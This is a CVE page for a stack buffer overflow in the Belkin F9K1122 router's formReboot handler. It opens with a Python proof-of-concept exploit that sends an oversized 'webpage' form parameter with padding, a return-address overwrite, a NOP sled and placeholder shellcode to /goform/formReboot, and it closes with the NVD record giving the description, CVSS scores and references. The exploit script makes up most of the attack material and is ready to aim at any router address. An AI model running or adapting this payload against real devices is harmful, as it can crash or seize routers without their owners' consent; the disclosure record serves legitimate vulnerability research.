CVE-2026-4167

#!/usr/bin/env python3 """ CVE-2026-4167 PoC - Belkin F9K1122 formReboot Stack Buffer Overflow Note: This PoC is for educational and security research purposes only. Unauthorized access to systems without permission is illegal. """ import requests import sys TARGET = "http://192.168.1.1" # Router IP address TARGET_URL = f"{TARGET}/goform/formReboot" def create_exploit_payload(): """ Create malicious payload for stack buffer overflow Adjust payload based on target firmware analysis """ # Buffer overflow payload - may need adjustment based on target # NOP sled + shellcode + return address overwrite padding = b"A" * 1000 # Overflow length - adjust based on analysis # Example: Overwrite return address with jump instruction return_address = b"\x42\x42\x42\x42" # Placeholder - need to find correct address # NOP sled for reliability nop_sled = b"\x90" * 100 # Minimal shellcode for demonstration (executes /bin/sh or calc) # This is a placeholder - use appropriate shellcode for target architecture shellcode = b"\xcc" * 50 # INT3 breakpoint for testing payload = padding + return_address + nop_sled + shellcode return payload def exploit(): """Send exploit payload to vulnerable endpoint""" print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Generating exploit payload...") payload = create_exploit_payload() # Construct request data data = { "webpage": payload.decode('latin-1'), # Send as form parameter "submit_button": "Reboot" } try: print("[*] Sending exploit request...") response = requests.post(TARGET_URL, data=data, timeout=10) print(f"[!] Response status: {response.status_code}") print(f"[!] Router may be rebooting or crashed") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") if "Connection" in str(e): print("[+] Target may have crashed - exploit successful") if __name__ == "__main__": print("CVE-2026-4167 PoC - Educational Use Only") if len(sys.argv) > 1: TARGET = sys.argv[1] TARGET_URL = f"{TARGET}/goform/formReboot" exploit()

{"cve": {"id": "CVE-2026-4167", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:56.130", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Belkin F9K1122 1.00.33. This affects the function formReboot of the file /goform/formReboot. This manipulation of the argument webpage causes stack-based buffer overflow. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way."}, {"lang": "es", "value": "Se determinó una vulnerabilidad en Belkin F9K1122 1.00.33. Esto afecta la función formReboot del archivo /goform/formReboot. Esta manipulación del argumento webpage causa un desbordamiento de búfer basado en pila. El ataque puede ser iniciado remotamente. El exploit ha sido divulgado públicamente y puede ser utilizado. El proveedor fue contactado tempranamente sobre esta divulgación, pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://github.com/Litengzheng/vul_db/blob/main/Belkin/vul_152/README.md", "source": "[email protected]"}, {"url": "https://github.com/Litengzheng/vul_db/blob/main/Belkin/vul_152/README.md#proof-of-concept-poc", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.351074", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.351074", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.769727", "source": "[email protected]"}]}}